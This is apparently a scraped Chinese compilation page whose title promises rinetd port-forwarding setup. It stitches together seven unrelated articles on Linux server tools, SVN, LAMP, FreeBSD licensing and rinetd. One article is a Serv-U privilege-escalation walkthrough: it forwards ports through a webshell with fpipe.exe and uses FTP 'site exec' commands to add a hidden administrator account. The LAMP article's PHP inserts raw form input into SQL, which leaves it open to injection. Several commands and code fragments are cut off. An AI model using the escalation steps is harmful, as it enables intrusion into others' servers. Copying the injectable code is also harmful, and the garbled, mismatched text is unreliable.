亚洲一区爱区精品无码_无码熟妇人妻AV_日本免费一区二区三区最新_国产AV寂寞骚妇

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理7篇(linux開通端口服務(wù))

時(shí)間:2022-10-08 11:48:00 綜合范文

  下面是范文網(wǎng)小編收集的端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理7篇(linux開通端口服務(wù)),供大家參考。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理7篇(linux開通端口服務(wù))

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理1

  服務(wù)器安全狗Linux版(SafeDog for Linux Server)是為L(zhǎng)inux服務(wù)器開發(fā)的一款服務(wù)器管理軟件,它集成了系統(tǒng)參數(shù)快速設(shè)置,系統(tǒng)運(yùn)行狀態(tài)直觀展示,系統(tǒng)狀態(tài)實(shí)時(shí)監(jiān)控,常用服務(wù)、設(shè)備或軟件的快速安裝和配置等功能,幫助管理員快速直觀地管理服務(wù)器,本軟件還提供了純字符界面下的界面交互接口和詳細(xì)的操作指引,使得管理員對(duì)服務(wù)器的狀態(tài)更加了解,管理和配置服務(wù)器也更加簡(jiǎn)單。

  系統(tǒng)快速配置

  1、網(wǎng)絡(luò)接口配置

  界面顯示系統(tǒng)各個(gè)網(wǎng)卡的IP,子網(wǎng)掩碼,MAC地址,IP設(shè)置方式,網(wǎng)卡激活狀態(tài)等信息,還顯示系統(tǒng)的DNS服務(wù)器(nameserver)設(shè)置。

  快捷鍵支持修改網(wǎng)卡的IP獲取方式,如果設(shè)置手動(dòng)需要填寫IP和掩碼信息,網(wǎng)關(guān)和DNS信息可選填寫,同時(shí)提供停用網(wǎng)卡,啟動(dòng)網(wǎng)卡等功能。

  如果顯示值為”??”,表示軟件無法探測(cè)到該項(xiàng)參數(shù)或者該項(xiàng)參數(shù)不存在。

[注意]

  軟件顯示的dynamic或static為當(dāng)前IP的獲取方式,僅僅作為參考,可能并不一定是正確的。

  2、系統(tǒng)狀態(tài)配置

  界面顯示系統(tǒng)的機(jī)器名,系統(tǒng)日期和時(shí)間,快捷鍵支持修改系統(tǒng)的機(jī)器名,系統(tǒng)中的賬號(hào)和密碼,系統(tǒng)日期和時(shí)間。本菜單下每隔二到三秒會(huì)自動(dòng)刷新狀態(tài)。

  系統(tǒng)快速優(yōu)化

  1、?網(wǎng)絡(luò)優(yōu)化

  Icmp Echo Ignore All?開啟或關(guān)閉“禁止響應(yīng)ping包策略”

[驗(yàn)證生效方法]

  cat /proc/sys/net/ipv4/icmp_echo_ignore_all

  結(jié)果為1表示生效,為0表示不生效

[測(cè)試方法]

  可通過在本機(jī)執(zhí)行命令

  ping 127.0.0.1

  查看配置前后效果

  Tcp SynCookies?開啟或關(guān)閉“防范syn flood攻擊策略”

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/net/ipv4/tcp_syncookies

  結(jié)果為1表示生效,為0表示不生效

[測(cè)試方法]

  暫無

  TcpTimeWaitReuse?開啟或關(guān)閉“TIME-WAIT狀態(tài)的端口重用”

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/net/ipv4/tcp_tw_reuse

  結(jié)果為1表示生效,為0表示不生效

[測(cè)試方法]

  暫無

  2、?進(jìn)程資源優(yōu)化

  shmmax 設(shè)置單個(gè)共享內(nèi)存段的最大值,單位為Byte

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/kernel/shmmax

[測(cè)試方法]

  使用以下命令

  Ipcmk

  shmall 全部允許使用的共享內(nèi)存大小,單位為頁面

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/kernel/shmall

[測(cè)試方法]

  使用以下命令

  Ipcmk

  shmmni 系統(tǒng)范圍內(nèi)共享內(nèi)存段的最大數(shù)量

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/kernel/shmmni

[測(cè)試方法]

  使用以下命令

  Ipcmk

threadsmax 系統(tǒng)最大線程數(shù)

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/kernel/threads-max

[測(cè)試方法]

  暫無

  filemax 分配給進(jìn)程的最大文件描述符數(shù)目

[驗(yàn)證生效方法]

  執(zhí)行命令

  cat /proc/sys/kernel/file-max

[測(cè)試方法]

  暫無

  系統(tǒng)實(shí)時(shí)監(jiān)控

  1、?文件監(jiān)控

  Monit Toggle 文件監(jiān)視器開關(guān)

  file List 監(jiān)視的文件列表

[測(cè)試方法]

  設(shè)置完文件列表后,再開啟監(jiān)視器開關(guān),可以使用如下命令查看報(bào)告文件

  Tail -f /etc/safedog/monitor/filemonit.txt

  對(duì)文件列表中的文件或文件夾進(jìn)行的生成、修改、刪除會(huì)馬上反應(yīng)到報(bào)告文件中,

  對(duì)文件列表中的文件夾內(nèi)的文件或一級(jí)文件夾進(jìn)行的生成、修改、刪除也會(huì)馬上反應(yīng)到報(bào)告文件中。

[注意]

  不會(huì)遞歸監(jiān)控到子目錄里面,并且當(dāng)文件名列表為空時(shí)無法啟動(dòng)監(jiān)視器。

  2、?進(jìn)程監(jiān)控

  Monit Toggle 進(jìn)程監(jiān)視器開關(guān)

  process List 監(jiān)視的進(jìn)程名(必須包括運(yùn)行參數(shù))列表

[測(cè)試方法]

  設(shè)置完進(jìn)程名列表后,再開啟監(jiān)視器開關(guān),可以使用如下命令查看報(bào)告文件

tail -f /etc/safedog/monitor/processmonit.txt

  使用命令

  Top或ps aux

  能夠看到進(jìn)程是否正在運(yùn)行,一旦進(jìn)程結(jié)束或被kill,監(jiān)視器會(huì)馬上重啟進(jìn)程,

  比如設(shè)置進(jìn)程名列表為

/bin/sleep 5

/bin/sleep 15

  可以看到,進(jìn)程中將一直有這兩個(gè)進(jìn)程在運(yùn)行,只要一結(jié)束,馬上就會(huì)被重啟。

  注意當(dāng)進(jìn)程名列表為空時(shí),無法啟動(dòng)監(jiān)視器。

[注意]

  本功能只適用于監(jiān)控可以通過一條命令啟動(dòng)的守護(hù)進(jìn)程,本功能正確的使用方法是,初始時(shí)不要啟動(dòng)要監(jiān)控的服務(wù),通過添加要監(jiān)控的進(jìn)程啟動(dòng)命令,讓安全狗自動(dòng)啟動(dòng)被監(jiān)控的進(jìn)程,否則可能因?yàn)閱?dòng)過程不同導(dǎo)致安全狗無法匹配出進(jìn)程列表中的進(jìn)程名。(比如要監(jiān)控vsftpd進(jìn)程,如果用戶添加的監(jiān)控內(nèi)容為”vsftpd &”,但是用戶在此之前通過命令service vsftpd start啟動(dòng)了vsftpd的命令就會(huì)出錯(cuò)。)

  3、?CPU監(jiān)控

  Monit Toggle CPU使用率監(jiān)視器開關(guān)

  cPU Ceil CPU使用率監(jiān)視上限(高于該值寫入報(bào)告)

  cPU Floor CPU使用率監(jiān)視下限(低于該值寫入報(bào)告)

[測(cè)試方法]

  設(shè)置完監(jiān)視范圍后,再開啟監(jiān)視器開關(guān),可以使用如下命令查看報(bào)告文件

  Tail -f /etc/safedog/monitor/cpumonit.txt

  4、?內(nèi)存監(jiān)控

  Monit Toggle 內(nèi)存使用率監(jiān)視器開關(guān)

  Memory Use Ceil 內(nèi)存使用率監(jiān)視上限(高于該值寫入報(bào)告)

  同時(shí)顯示系統(tǒng)當(dāng)前內(nèi)存使用量和空閑量

[測(cè)試方法]

  設(shè)置完監(jiān)視范圍后,再開啟監(jiān)視器開關(guān),可以使用如下命令查看報(bào)告文件

  Tail -f /etc/safedog/monitor/memorymonit.txt

5、?磁盤容量監(jiān)控

  partition 監(jiān)視的磁盤分區(qū),比如/dev/sda1

  ceil 監(jiān)視的磁盤容量的上限(高于該值寫入報(bào)告)

  floor 監(jiān)視的磁盤容量的下限(低于該值寫入報(bào)告)

  Interval 監(jiān)視的磁盤容量的報(bào)告間隔值(增減量大于該值時(shí)寫入報(bào)告)

[測(cè)試方法]

  設(shè)置完監(jiān)視范圍后,再開啟監(jiān)視器開關(guān),可以使用如下命令查看報(bào)告文件

  Tail -f /etc/safedog/monitor/?diskvolumemonit.txt

  6、?文件備份

  file 需要備份的文件絕對(duì)路徑

  Backup Directory 存方向備份文件的目標(biāo)目錄

  Backup Size 監(jiān)視的文件大小超過此值時(shí),文件將被壓縮備份到備份目錄,同時(shí)清空原文件

[測(cè)試方法]

  設(shè)置完監(jiān)視路徑和備份后,再開啟監(jiān)視器開關(guān),當(dāng)文件大小超過設(shè)定值時(shí),可以檢查備份的目標(biāo)目錄和所監(jiān)視的文件內(nèi)容。

  7、?TCP監(jiān)聽端口

  顯示當(dāng)前系統(tǒng)中正在監(jiān)聽的tcp端口及相應(yīng)的地址、進(jìn)程ID和進(jìn)程名字。

  應(yīng)用程序設(shè)置

  1、?iptables

  顯示iptables的當(dāng)前規(guī)則集列表以及規(guī)則鏈的默認(rèn)策略(policy)。

  可以對(duì)iptables中的input鏈或output鏈添加一些簡(jiǎn)單的規(guī)則,包括協(xié)議類型(TCP/UDP),源地址,源端口,目的地址,目的端口,行為等。

[測(cè)試方法]

  通過軟件添加相應(yīng)規(guī)則后測(cè)試通過網(wǎng)絡(luò)測(cè)試相應(yīng)規(guī)則是否生效。

[注意]

  通過本軟件對(duì)iptables的設(shè)置在重啟后丟失。

  2、?vsftpd

  對(duì)系統(tǒng)中已安裝未配置過的vsftpd進(jìn)行一些簡(jiǎn)單的配置。

Anonym Enable 是否允許匿名用戶登錄

  Anonym Upload 是否允許匿名用戶上傳權(quán)限

  Anonym Make Directory 是否允許匿名用戶建立文件夾權(quán)限

  Anonym Root Path 匿名用戶的根目錄路徑

  Local User Enable 是否允許本地用戶登錄

  Write Enable 是否允許寫權(quán)限,些開關(guān)影響所有需要用到寫權(quán)限的操作

  ftp Start 啟動(dòng)停止ftp服務(wù)

  ftp Restore Default 初化或恢復(fù)甩的默認(rèn)配置,第一次進(jìn)入時(shí)必須先進(jìn)行初始化

[測(cè)試方法]

  配置完成后啟動(dòng)vsftpd,然后通過網(wǎng)絡(luò)訪問本機(jī)的ftpd服務(wù)器測(cè)試配置項(xiàng)是否生效。

  在瀏覽器上輸入

Ftp Restore Default”功能,對(duì)配置進(jìn)行初始化,初始化以后,vsftpd之前的配置信息會(huì)丟失,同時(shí),匿名用戶的根目錄設(shè)置到了/srv/ftp,同時(shí)/srv/ftp/upload目錄是匿名用戶的上傳目錄。通過軟件也可以重新修改相關(guān)設(shè)置。通過軟件配置完畢后,要使用配置生效,需要在軟件界面上的” Ftp Start”中先關(guān)閉服務(wù)再重新打開服務(wù)(即重啟服務(wù))。

  3、?samba

  對(duì)系統(tǒng)中已安裝未配置過的samba進(jìn)行一些簡(jiǎn)單的配置。

  share Directory Path 共享文件夾的路徑

  share Write Enable 共享文件夾的匿名寫權(quán)限

  samba Start 啟動(dòng)停止共享

  samba Restore Default 初始化配置文件,第一次進(jìn)入時(shí)必須先進(jìn)行初始化

[測(cè)試方法]

  配置完成后啟動(dòng)samba,然后通過網(wǎng)絡(luò)訪問本機(jī)的samba共享文件夾測(cè)試配置項(xiàng)是否生效。

  在瀏覽器上輸入

服務(wù)器ip

  訪問samba共享服務(wù)器

[注意]

  參考vsftpd的注意事項(xiàng)。

  軟件卸載

  在之前的解壓出來的safedog_1.0.0.tar.gz目錄下執(zhí)行命令:

./uninstall.sh

  即可。

?

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理2

  前面有朋友問到,如果說Serv-u的目錄沒有修改權(quán)限怎么辦

  這里也給大家做下解答。 如果說serv-u服務(wù)器沒有修改權(quán)限的話。

  那么我就需要做下端口轉(zhuǎn)發(fā),與前面的講的lxc的轉(zhuǎn)發(fā)一樣,不同的只是轉(zhuǎn)發(fā)的端口不一樣。

  前面是將其他端口轉(zhuǎn)發(fā)到3389的端口上。可是這里要用到的是將其他端口映射到43958端口上 具體什么端口可以隨意 只要不占用。

  方法如下:

  1.查看SERV-U是否有可讀可寫可修改權(quán)限

  2.如果沒有 考慮用SERV-U來端口轉(zhuǎn)發(fā)

  3.上傳cmd.exe和Fpipe.exe進(jìn)行端口轉(zhuǎn)發(fā) 運(yùn)行一下命令:

  fpipe.exe -v -l 44

(這里webshell必須要有dos權(quán)限,也就是要可以運(yùn)行CMD命令)

  4.本機(jī)搭建SERV-U 端口為:45959 IP地址為 提權(quán)目標(biāo)IP 賬戶為默認(rèn)的

  5.本機(jī)cmd鏈接FTP 運(yùn)行一下命令

  Quote site exec net user heishou 1234567 /add

  Quote site exec net localgroup administrators heishou /add

(因?yàn)榍懊嫖覀円郧白隽硕丝谵D(zhuǎn)發(fā)所以現(xiàn)在我們本地的serv-u就相當(dāng)于服務(wù)器上的serv-u)

  6.如果命令運(yùn)行不成功 也就是說管理員刪除了net程序 那么我們就給他上傳一個(gè)net程序

  這篇文章希望能夠給大家?guī)韼椭?另外恭祝大家,提權(quán)提到手抽筋,

。。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理3

  終于受不了Windows下跑dynamips了 呵呵,下了決心弄到基于debian的Ubuntu下,提供兩個(gè)方法

  方法一: 沒事找事, 自己瞎玩型

  1.在Ubuntu平臺(tái)安裝libpcap

  安裝gcc編譯器

  sudo apt-get install gcc

  安裝flex編譯器

  sudo apt-get install flex

  安裝bison編譯器

  sudo apt-get install bison

  解壓數(shù)據(jù)包“l(fā)ibpcap-0.9.8.tar.gz”

  Tar -zxvf libpcap-0.9.8.tar.gz

  另外Ubuntu不支持rpm安裝文件,rpm是Red Hat操作系統(tǒng)的標(biāo)準(zhǔn)安裝文件格式,可以采用alien將rpm包轉(zhuǎn)換為deb包,

  安裝alien:sudo apt-get install alien

  Alien使用:alien XXX.rpm 這樣就生成Ubuntu支持的XXX.deb

  安裝deb文件包:sudo dpkg -i XXX.deb 或雙擊安裝

  編譯

./configure

  Make

  Make install

  移動(dòng)文件夾:mv

  刪除文件夾:rm -rf XXX

  2.下載dynamips源代碼“dynamips-0.2.8-RC2-amd64.bin”解壓,地址 dynamips-0.2.8-RC2-amd64.bin /opt/dynamips

  Ln -s /opt/dynamips/dynamips-0.2.8-RC2-amd64.bin dynamips

  這條命令是建立一個(gè)快捷鍵dynamips,快捷鍵指向“dynamips-0.2.8-RC2-amd64.bin”,此時(shí)程序的路徑需要是絕對(duì)路徑。

  5.解壓復(fù)制dynagen

  Tar -zxvf dynagen-0.11.0.tar.gz

  Mv dynagen-0.11.0 /opt

  Ln -s /opt/dynagen-0.11.0/dynagen dynagen

  6.把ios和.net文件

  把他們放入自定意的文件夾中,ios的位置無所謂,可以在.net中用絕對(duì)路徑指定

“image = /opt/ios/c7200-js-mz.123-8.T11.extracted.bin”

  7.啟動(dòng)dynampis

  網(wǎng)上都用“nice dynampis -H 7200”來啟動(dòng), 其中這個(gè)7200是端口,但我測(cè)試是不行:

  frank@frank-laptop:/opt# nice dynamips -H 7200

  nice: dynamips: 沒有該文件或目錄

  權(quán)限都已經(jīng)更改過了,最后沒有什么辦法,索性不用nice了,直接執(zhí)行:

  frank@frank-laptop:/opt/dynampis$ sudo ./dynamips -H 7200

  cisco Router Simulation Platform. (version 0.2.8-RC2-amd64)

  copyright (c) - Christophe Fillot.

  Build date: Oct 14 2007 10:46:52

  ILT: loaded table “mips64j” from cache.

  ILT: loaded table “mips64e” from cache.

  ILT: loaded table “ppc32j” from cache.

  ILT: loaded table “ppc32e” from cache.

  Hypervisor TCP control server started (port 7200).

  這時(shí)再開啟一個(gè)終端并啟動(dòng)dynagen

  frank@frank-laptop:/opt/dynampis$ sudo ./d

[sudo] password for frank:

  Dynagen management console for Dynamips and Pemuwrapper 0.11.0

  copyright (c) 2005-2007 Greg Anuzelli, contributions Pavel Skovajsa

=> ?

  Documented commands (type help ):

========================================

  capture confreg cpuinfo export hist list py save show suspend

  clear console end filter idlepc no reload send start telnet

  conf copy exit help import push resume shell stop ver

  剩下的事就跟windowns一樣了,

  第二種方法: 懶人也可以,反正有人做型 呵呵

  在Ubuntu里有軟件包管理器, 用它搜索一個(gè)別人做好的, 直接拿過來用就ok咯。 夠懶的了吧。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理4

  在windows上如何安裝部署設(shè)置SVN服務(wù)器

  工具/原料

  操作系統(tǒng):Windows,32位

  sVN?Server版本:svn-win32-1.6.16

  sVN?Client版本:TortoiseSVN-1.6.16.21511

  方法/步驟

  一、準(zhǔn)備工作

  1、SVN服務(wù)器:解壓縮包,可以從 下載最新版本,

  2、SVN客戶端:TortoiseSVN,即常說的小烏龜,是一個(gè)客戶端程序,用來與服務(wù)器端通訊。

  二、安裝服務(wù)器和客戶端程序

  1、SVN服務(wù)器:直接解壓縮到某個(gè)文件夾下即可。示例路徑:c:svn

  備注:如果下載的是msi程序,直接運(yùn)行按提示安裝即可。

  2、SVN客戶端:直接運(yùn)行按提示安裝即可,

  示例路徑:C:Program?FilesSubversion

  三、建立版本庫(Repository):示例路徑:e:svnroot。建立版本庫有兩種方法:

  方法一,建立空目錄e:svnrootrepos1,進(jìn)入repos1文件夾,在空白處點(diǎn)擊右鍵,選擇“TortoiseSVN->Create?Repositoryhere...”,

  方法二,建立空目錄e:svnrootrepos2,進(jìn)入DOS命令行,輸入如下命令:

  svnadmincreate?e:svnrootrepos2

  四、運(yùn)行SVN服務(wù)器,啟動(dòng)服務(wù)。啟動(dòng)服務(wù)有兩種方法:

  方法一,臨時(shí)啟動(dòng)服務(wù),在DOS下輸入如下命令:

  svnserve?-d?-r?e:svnrootrepos1?--listen-host?ip地址?--listen-port=端口號(hào)

  說明:“l(fā)isten-host”和“l(fā)isten-port”可選。默認(rèn)端口是3690,如果端口已經(jīng)被占用,可以通過選項(xiàng)listen-port指定端口號(hào)。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理5

  1.?安裝Apache2

  yum install httpd

  Apache安裝完成后,手動(dòng)啟動(dòng)Apache2

/etc/init.d/httpd start

  這時(shí),直接在瀏覽器中輸入服務(wù)器的IP地址,即可看到Apache2的默認(rèn)頁面,此時(shí)的Apache僅僅能提供HTTP服務(wù),不能執(zhí)行php、也不能連接MySQL數(shù)據(jù)庫。

  2.?安裝MySQL

  yum install mysql?mysql-server

  完成后,使用如下命令啟動(dòng)MySQL服務(wù):

/etc/init.d/mysqld start

  3.?安裝PHP5

  yum install php

  安裝完php5后,必須要重新啟動(dòng)Apache以使php生效:

/etc/init.d/httpd restart

  這時(shí),Apache已經(jīng)可以解析執(zhí)行php腳本了。由于Apache的默認(rèn)網(wǎng)站根目錄位于:/var/www/html/,因此在此目錄建立一個(gè)info.php用來測(cè)試Apache+PHP的正確安裝與否:

  echo “

  然后在瀏覽器中訪問?IP/info.php,出現(xiàn)了PHPINFO的輸出信息則表示安裝成功

  安裝php的mysql模塊

  yum install php-mysql

  完成后再次重啟Apache

/etc/init.d/httpd restart

  最后還需要將LAMP組件設(shè)置為自動(dòng)啟動(dòng):

  chkconfig --levels 2345 httpd on

  chkconfig --levels 2345 mysqld on

  測(cè)試環(huán)境(阿里云虛機(jī)):

  登錄本地的MySQL創(chuàng)建一個(gè)表,創(chuàng)建一個(gè)用戶,設(shè)定該用戶對(duì)表的操作權(quán)限

  use test;

  create table login(

  uid char(20),

  Dt int,

  Text char(50)

);

  grant select,insert,update,delete on *.* to alan@”%“ identified by 'password';

  Test.php

  01

  02$host?=?'xxx.xxx.xxx.xxx';

  03$user?=?'alan';

  04$passwd?=?'password';

  05$db?=?'test';

  06

  07$conn?= mysql_connect($host,$user,$passwd);

  08if?(!$conn) {

  09die('Could not connect: '?. mysql_error);

  10}

  11echo?”select data from MySQL

“;

  12mysql_select_db($db,?$conn);

  13

  14$select_sql?=?”select * from login“;

  15$result?= mysql_query($select_sql);

  16

  17echo?”uidtimetext“;

  18

  19while?($row?= mysql_fetch_array($result)) {

  20echo?”“;

  21echo?”“.$row['uid'].”“;

  22echo?”“.$row['dt'].”“;

  23echo?”“.$row['text'].”“;

  24echo?”“;

  25}

  26echo?”

“;

  27

  28echo?”

  29Name:

  30text:

  31“;

  32

  33mysql_close($conn);

  34?>

  Insert.php

  01

  02$host?=?'xxx.xxx.xxx.xxx';

  03$user?=?'alan';

  04$passwd?=?'password';

  05$db?=?'test';

  06

  07$conn?= mysql_connect($host,$user,$passwd);

  08if?(!$conn) {

  09die('Could not connect: '?. mysql_error());

  10}

  11mysql_select_db($db,?$conn);

  12$dt?= time();

  13$insert_sql?=?”insert into login(uid,dt,text) values('$_POST[uid]', $dt, '$_POST[text]')“;

  14echo?”SQL: “.$insert_sql.”

“;

  15if?(!mysql_query($insert_sql,?$conn)) {

  16die('Error: '?. mysql_error());

  17}

  18echo?”1 record added.

“;

  19

  20mysql_close($conn);

  21

  22?>

  1.?訪問頁面

  2.?提交表單,執(zhí)行一條sql插入語句

  3.?返回頁面刷新查看結(jié)果

  相關(guān)配置與環(huán)境

  Apache主配置文件:/etc/httpd/conf/httpd.conf

  Apache主配置目錄,可以將不同類型的配置分門別類放入這個(gè)目錄中:/etc/httpd/conf.d/

  Apache網(wǎng)站根目錄:/var/www/html/

  Apache日志文件目錄:/var/log/httpd

  MySQL的f配置文件:/etc/f

  MySQL數(shù)據(jù)庫文件位置:/usr/lib/mysql

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理6

  freeBSD下?lián)碛卸喾N預(yù)編譯好的軟件包,包括了從數(shù)學(xué)運(yùn)算到系統(tǒng)維護(hù),從圖象處理到Internet服務(wù)程序等大量的軟件,之所以能擁有如此豐富的軟件,除了Unix本身就是一個(gè)非常流行的開發(fā)平臺(tái)之外,另一個(gè)重要原因就是每種Unix中均提供了高級(jí)語言C作為了標(biāo)準(zhǔn)開發(fā)語言,而C語言具有高度可移植性,并且隨著Unix的流行它成為了最重要的一種程序設(shè)計(jì)語言。

  由于Unix運(yùn)行在多種不同的平臺(tái)上,而不同平臺(tái)上的二進(jìn)制執(zhí)行文件只包含本平臺(tái)上的機(jī)器指令,因此造成一個(gè)平臺(tái)上的應(yīng)用程序不能直接在另一個(gè)平臺(tái)上運(yùn)行。但是在Unix的世界中,有著通用的編程語言C和相同的系統(tǒng)調(diào)用,使得不同的Unix平臺(tái)上程序的C代碼基本相同,為一種Unix開發(fā)的應(yīng)用程序,很容易就能移植到其他Unix系統(tǒng)中。傳統(tǒng)上在Unix上安裝各種應(yīng)用軟件一般使用源代碼的形式,需要管理員手工編譯安裝,這就要求管理員需要熟悉C語言及其開發(fā)工具。然而這樣操作畢竟是一個(gè)繁瑣的任務(wù),尤其對(duì)于不太熟悉C語言的使用者更為困難。因此各種Unix各自發(fā)展了一些直接安裝二進(jìn)制程序的機(jī)制,F(xiàn)reeBSD中也提供了Packages Collection── 一種管理和安裝預(yù)編譯好的軟件包機(jī)制,來幫助使用者管理各種應(yīng)用軟件,使得用戶不需要了解C語言及其開發(fā)工具,也能正常進(jìn)行應(yīng)用軟件的安裝和管理。

  應(yīng)用軟件的類別

  在安裝和使用應(yīng)用軟件的時(shí)候,正版和盜版等版權(quán)問題總是計(jì)算機(jī)使用者需要考慮的話題之一。很多計(jì)算機(jī)使用者總以為軟件的版權(quán)問題與光盤、磁帶類似,不是正版就是盜版。然而情形并非絕對(duì)如此,絕大多數(shù)軟件的開發(fā)者傾向于讓自己開發(fā)的程序被盡可能多的人使用,當(dāng)軟件開發(fā)者不以軟件作為獲利的目的時(shí),對(duì)軟件的使用就沒有采取任何限制,或者是很寬容的限制。其他使用者就可以自由使用這些軟件,而不需要考慮版權(quán)問題。

  正由于軟件開發(fā)者的目的不同,因此對(duì)他們的軟件使用的版權(quán)保護(hù)方法也不同。有的開發(fā)者出于自己的個(gè)人興趣、需要或信仰而開發(fā)軟件,希望自己的軟件為更多的人使用,沒有或暫時(shí)沒有從軟件中獲利的目的,因此就鼓勵(lì)其他人使用這個(gè)軟件。有的開發(fā)者出于盈利的目的開發(fā)軟件,因此就使用了嚴(yán)格的版權(quán)限制。按照不同軟件的版權(quán)限制,可將應(yīng)用軟件可以分為兩類:

  公共域軟件與自由軟件

  這些軟件的作者對(duì)版權(quán)不加任何限制或者限制很少,屬于這一類的軟件通常提供源程序,允許使用者自由使用軟件并任意修改。FreeBSD系統(tǒng)中包括的軟件均屬于這一類,因此使用者不需要考慮使用FreeBSD的版權(quán)問題。其中公共域軟件對(duì)版權(quán)沒有任何限制,可以認(rèn)為是屬于放棄版權(quán)的軟件。很多公共域軟件是科研機(jī)構(gòu)和大學(xué)開發(fā)的,但也被商業(yè)公司用于自己的系統(tǒng)中,此時(shí)商業(yè)公司就使用了自己的版權(quán)聲明,而用戶卻無法自由使用該軟件。

  為了保護(hù)軟件不被商業(yè)機(jī)構(gòu)濫用,自由軟件基金會(huì)的Stallman使用了GNU版權(quán)許可來保護(hù)用戶自由使用軟件的權(quán)利,這個(gè)版權(quán)許可允許將自由軟件用于商業(yè)目的,但必須允許用戶有自由使用、拷貝、修改的權(quán)利,

  根據(jù)這個(gè)許可,可以銷售GNU軟件,但必須同時(shí)包括它的源程序以便用戶根據(jù)情況修改(或者在用戶要求時(shí)提供)。

  gNU軟件許可并不是唯一的自由軟件許可權(quán)聲明,F(xiàn)reeBSD使用的BSD許可也是另一個(gè)重要的版權(quán)許可。與GNU許可相比,BSD許可更寬松一些。BSD許可只要求必須保持顯示的相關(guān)作者的聲明信息,對(duì)商業(yè)使用限制更少。此外還有X的版權(quán)許可等。由于GNU軟件許可最為著名,并且也比較完善,因此很多非自由軟件基金會(huì)的軟件也使用這個(gè)許可權(quán),用來保護(hù)自己軟件的版權(quán)。

  事實(shí)上這一類軟件在計(jì)算機(jī)發(fā)展中起了很重要的作用,它們常常最先實(shí)現(xiàn)很多新想法、新功能,推動(dòng)軟件技術(shù)的發(fā)展。自由軟件的功能、效率和可靠性并不比商業(yè)軟件差,有的軟件甚至要好于同類的商業(yè)軟件,唯一的問題是自由軟件不提供技術(shù)服務(wù),僅僅隨同軟件提供一些電子文檔,需要使用者自己去學(xué)習(xí)安裝和使用。當(dāng)然,自由軟件通常也有相應(yīng)的商業(yè)版本,差別就在于提供了商業(yè)技術(shù)服務(wù)支持。

  共享軟件與專有軟件

  這些軟件通常是基于商業(yè)目的開發(fā)的軟件,這些軟件通常使用嚴(yán)格的版權(quán)規(guī)定。這些軟件中的大部分不允許使用者免費(fèi)使用。但出于商業(yè)目的,一些軟件允許使用者免費(fèi)使用,但對(duì)軟件的自由使用提出了一定的條件和限制。

  一些共享軟件不提供源代碼,一些商業(yè)軟件的演示版本提供了較弱的功能和使用時(shí)間限制。還有一些軟件的限制更寬松,允許個(gè)人用戶自由使用軟件,但不許可自由分發(fā)、拷貝軟件。

  一些FreeBSD安裝介質(zhì)中,在基本系統(tǒng)之外也提供了一些共享軟件,供使用者手工安裝(不能使用安裝程序安裝)。這些軟件允許使用者在一定條件下,并按照軟件本身的聲明使用這些軟件。由于版權(quán)問題,系統(tǒng)不會(huì)將這些軟件包括進(jìn)系統(tǒng)內(nèi)部,使用者只有在保證軟件版權(quán)條件下才能運(yùn)行這些軟件。

  開放源碼觀念

  由于在Unix世界中,軟件的標(biāo)準(zhǔn)為C語言,有了C源代碼就能將應(yīng)用程序移植到其他Unix上,因此在Uni x傳統(tǒng)上,就有一種提供軟件的同時(shí)也應(yīng)該提供源碼的觀念。

  發(fā)布軟件的源代碼對(duì)用戶有很多好處,一方面用戶能夠了解他們使用的軟件是可以信賴的,即使存在問題,也能夠及時(shí)發(fā)現(xiàn)錯(cuò)誤,并依據(jù)源碼及時(shí)糾正,這些修正返回到開發(fā)者那里,同樣起到促進(jìn)軟件發(fā)展的目的。另一方面畢竟通用軟件并不一定完全適合用戶的需要,發(fā)布軟件的源碼使得用戶能夠按照自己的需求定制軟件。

  因此在Internet上很多軟件的作者都認(rèn)同這種觀念,這種觀念還得到了包括Netscape等商業(yè)公司的支持,進(jìn)而組織了開放源碼組織(Open Source)來支持這種觀念。FreeBSD的眾多開發(fā)者就是這個(gè)組織的堅(jiān)定支持者。其網(wǎng)址為 “藝術(shù)” 轉(zhuǎn)變?yōu)?“工程” ,重要的就不再是程序設(shè)計(jì)的秘密,而是軟件工程了。商業(yè)公司也可以從開放源代碼的情況下,獲得使用者更多的建議,使得它的軟件能進(jìn)一步完善。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理7

  本文給大家分享的是一個(gè)linux下簡(jiǎn)單好用的工具rinetd,實(shí)現(xiàn)端口映射/轉(zhuǎn)發(fā)/重定向,有需要的小伙伴可以參考下,

  Windows下的端口轉(zhuǎn)發(fā)一般用的是自帶的nat和porttunnel、portmap

  Linux下端口轉(zhuǎn)發(fā)映射的程序叫rinetd,啟動(dòng)方法rinetd -c /etc/rinetd.conf?,pkill rinetd?關(guān)閉進(jìn)程

  工具主頁: zxvf rinetd.tar.gz

  Make

  Make install

  把1.1.1.1的11端口映射到2.2.2.2的3389端口,配置文件如下

  代碼如下:

[root@localhost iso]# cat??/etc/rinetd.conf

  1.1.1.1 11 2.2.2.1 3389

  1.1.1.1 12 2.2.2.2 3389

  1.1.1.1 13 2.2.2.3 22

  1.1.1.1 14 2.2.2.4 80

  Allow *.*.*.*

  Logfile /var/log/rinetd.log

  啟動(dòng)程序

  代碼如下:

  pkill rinetd?##關(guān)閉進(jìn)程

  rinetd -c /etc/rinetd.conf?##啟動(dòng)轉(zhuǎn)發(fā)

  把這條命令加到/etc/rc.local里面就可以開機(jī)自動(dòng)運(yùn)行

  查看狀態(tài)

  代碼如下:

  netstat -antup

  如果想用iptables實(shí)現(xiàn)的話,可以用一下命令,

